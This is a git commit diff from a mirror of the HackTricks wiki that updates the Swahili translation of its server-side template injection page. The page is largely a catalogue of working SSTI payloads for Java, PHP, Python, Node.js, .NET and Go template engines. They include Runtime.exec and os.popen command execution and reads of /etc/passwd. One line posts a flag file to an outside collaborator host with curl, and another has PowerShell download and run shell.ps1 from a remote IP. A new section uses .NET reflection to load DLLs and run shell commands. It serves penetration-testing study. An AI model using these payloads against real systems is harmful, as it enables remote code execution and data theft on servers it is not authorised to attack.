mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
50d3bee3cd
commit
20dd0b4842
@ -4,13 +4,13 @@
|
||||
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
|
||||
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo ambacho kinatekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
|
||||
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilicho na udhaifu kinachotumia Jinja:
|
||||
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilichohatarishwa kinachotumia Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Katika hii nambari iliyo hatarini, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameter ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
|
||||
Katika hii nambari iliyo hatarini, parameta ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameta ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
|
||||
|
||||
Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:
|
||||
```
|
||||
@ -18,16 +18,16 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` inajumuishwa katika parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
|
||||
|
||||
Ili kuzuia udhaifu wa kuingilia kati kwa upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa na kuthibitishwa ipasavyo kabla ya kuingizwa katika templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
Ili kuzuia udhaifu wa kuingilia template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa input ya mtumiaji inasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa katika templates. Kutekeleza uthibitishaji wa input na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
|
||||
### Ugunduzi
|
||||
|
||||
Ili kugundua Kuingilia kati kwa Template ya Kando ya Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
|
||||
Ili kugundua Kuingilia Template Kwenye Seva (SSTI), awali, **kufuzz template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) katika template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
|
||||
|
||||
- Makosa yaliyotupwa, yanayoonyesha udhaifu na labda injini ya template.
|
||||
- Kukosekana kwa payload katika kioo, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
|
||||
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano, `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` katika `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama katika `greeting=data.username}}hello` inarudisha jina la mtumiaji.
|
||||
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya input. Kwa mfano, kubadilisha `greeting` katika `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama katika `greeting=data.username}}hello` inarudisha jina la mtumiaji.
|
||||
|
||||
#### Awamu ya Utambuzi
|
||||
|
||||
@ -43,7 +43,7 @@ Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu k
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
scanner bora wa SSTI + CSTI inayotumia polyglots mpya
|
||||
scanner mzuri wa SSTI + CSTI inayotumia polyglots mpya
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -62,7 +62,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||
```
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za template.
|
||||
meza ya mwingiliano inayojumuisha polyglots za uingizaji wa templeti zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za templeti.
|
||||
|
||||
## Exploits
|
||||
|
||||
@ -148,7 +148,7 @@ $str.valueOf($chr.toChars($out.read()))
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
**Maelezo zaidi**
|
||||
**Taarifa zaidi**
|
||||
|
||||
- Katika sehemu ya Velocity ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
@ -171,7 +171,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
|
||||
|
||||
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wandelezaji wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi kwa wakati halisi, jambo ambalo si la kawaida.
|
||||
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wataalamu wa programu wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi kwa wakati halisi, jambo ambalo si la kawaida.
|
||||
|
||||
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
|
||||
```java
|
||||
@ -184,7 +184,7 @@ Fikiria kipande hiki cha msimbo, ambacho kinaweza kuwa na hatari ya kutumiwa:
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URLs kama:
|
||||
Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -242,7 +242,7 @@ print(base_payload + end_payload)
|
||||
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Usanifu wa Nadharia ya Spring (Java)
|
||||
### Usanifu wa Mtazamo wa Spring (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
@ -364,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
|
||||
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### Lugha ya Msemo - EL (Java)
|
||||
### Lugha ya Kielelezo - EL (Java)
|
||||
|
||||
- `${"aaaa"}` - "aaaa"
|
||||
- `${99999+1}` - 100000.
|
||||
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Lugha ya Msemo (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
|
||||
Lugha ya Kielelezo (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.
|
||||
- **JavaServer Pages (JSP)**: EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
@ -411,7 +411,7 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
### Java Nyingine
|
||||
### Other Java
|
||||
|
||||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -427,7 +427,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
{system('ls')} // compatible v3
|
||||
{system('cat index.php')} // compatible v3
|
||||
```
|
||||
**Maelezo zaidi**
|
||||
**Taarifa zaidi**
|
||||
|
||||
- Katika sehemu ya Smarty ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
@ -481,9 +481,9 @@ array("first_name" => $user.first_name)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
|
||||
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota inspiraration kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
|
||||
|
||||
Msimamizi:
|
||||
Controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
@ -491,14 +491,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
||||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
Sampuli ya ukurasa:
|
||||
Page template:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Sanjari la muundo:
|
||||
Sura ya mpangilio:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -683,7 +683,7 @@ URLencoded:
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||||
|
||||
@ -707,7 +707,7 @@ home = pugjs.render(injected_page)
|
||||
- \{{7\*7\}} = 49
|
||||
- \{{foo\}} = Hakuna matokeo
|
||||
- \#{7\*7} = #{7\*7}
|
||||
- \{{console.log(1)\}} = Hitilafu
|
||||
- \{{console.log(1)\}} = Kosa
|
||||
```javascript
|
||||
{
|
||||
{
|
||||
@ -806,7 +806,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**Maelezo zaidi**
|
||||
**Taarifa zaidi**
|
||||
|
||||
- [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
@ -814,7 +814,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
|
||||
|
||||
[Website rasmi](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox ambayo ni hiari, inatumika sana na ina leseni ya BSD.
|
||||
> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
|
||||
|
||||
- `{{7*7}} = Hitilafu`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -856,7 +856,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
|
||||
|
||||
|
||||
```
|
||||
[**RCE si inategemea**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
[**RCE si tegemezi kutoka**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
@ -867,7 +867,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
|
||||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja**:
|
||||
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja vibaya**:
|
||||
|
||||
{{#ref}}
|
||||
jinja2-ssti.md
|
||||
@ -924,10 +924,27 @@ Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mcha
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**Maelezo Zaidi**
|
||||
**Taarifa Zaidi**
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### .Net Kupita vizuizi
|
||||
|
||||
Mekanismu za .NET Reflection zinaweza kutumika kupita orodha ya vizuizi au madarasa yasiyokuwepo katika mkusanyiko. DLL zinaweza kupakiwa wakati wa utekelezaji na mbinu na mali zinazopatikana kutoka kwa vitu vya msingi.
|
||||
|
||||
Dll zinaweza kupakiwa kwa:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - kutoka kwa mfumo wa faili.
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - moja kwa moja kutoka kwa ombi.
|
||||
|
||||
Utekelezaji kamili wa amri:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**Maelezo Zaidi**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Hata kama ni perl inatumia lebo kama ERB katika Ruby.
|
||||
@ -938,27 +955,27 @@ Hata kama ni perl inatumia lebo kama ERB katika Ruby.
|
||||
<%= perl code %>
|
||||
<% perl code %>
|
||||
```
|
||||
### SSTI katika GO
|
||||
### SSTI in GO
|
||||
|
||||
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
|
||||
|
||||
- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
|
||||
- `{{ . }}`: Inaonyesha muundo wa data uliowekwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
|
||||
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha string "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**Ushambuliaji wa XSS**
|
||||
**XSS Exploitation**
|
||||
|
||||
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `<script>alert(1)</script>`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
**Ushambuliaji wa RCE**
|
||||
**RCE Exploitation**
|
||||
|
||||
Ushambuliaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
|
||||
Ushughulikiaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kufanikisha hili, kama katika mfano uliopewa:
|
||||
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutekeleza hili, kama katika mfano uliopewa:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -980,7 +997,7 @@ Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Msaada Husika
|
||||
## Msaada Unaohusiana
|
||||
|
||||
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
|
||||
|
||||
@ -994,7 +1011,7 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma:
|
||||
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## Orodha ya Kugundua Brute-Force
|
||||
## Orodha ya Ugunduzi wa Brute-Force
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
|
Loading…
x
Reference in New Issue
Block a user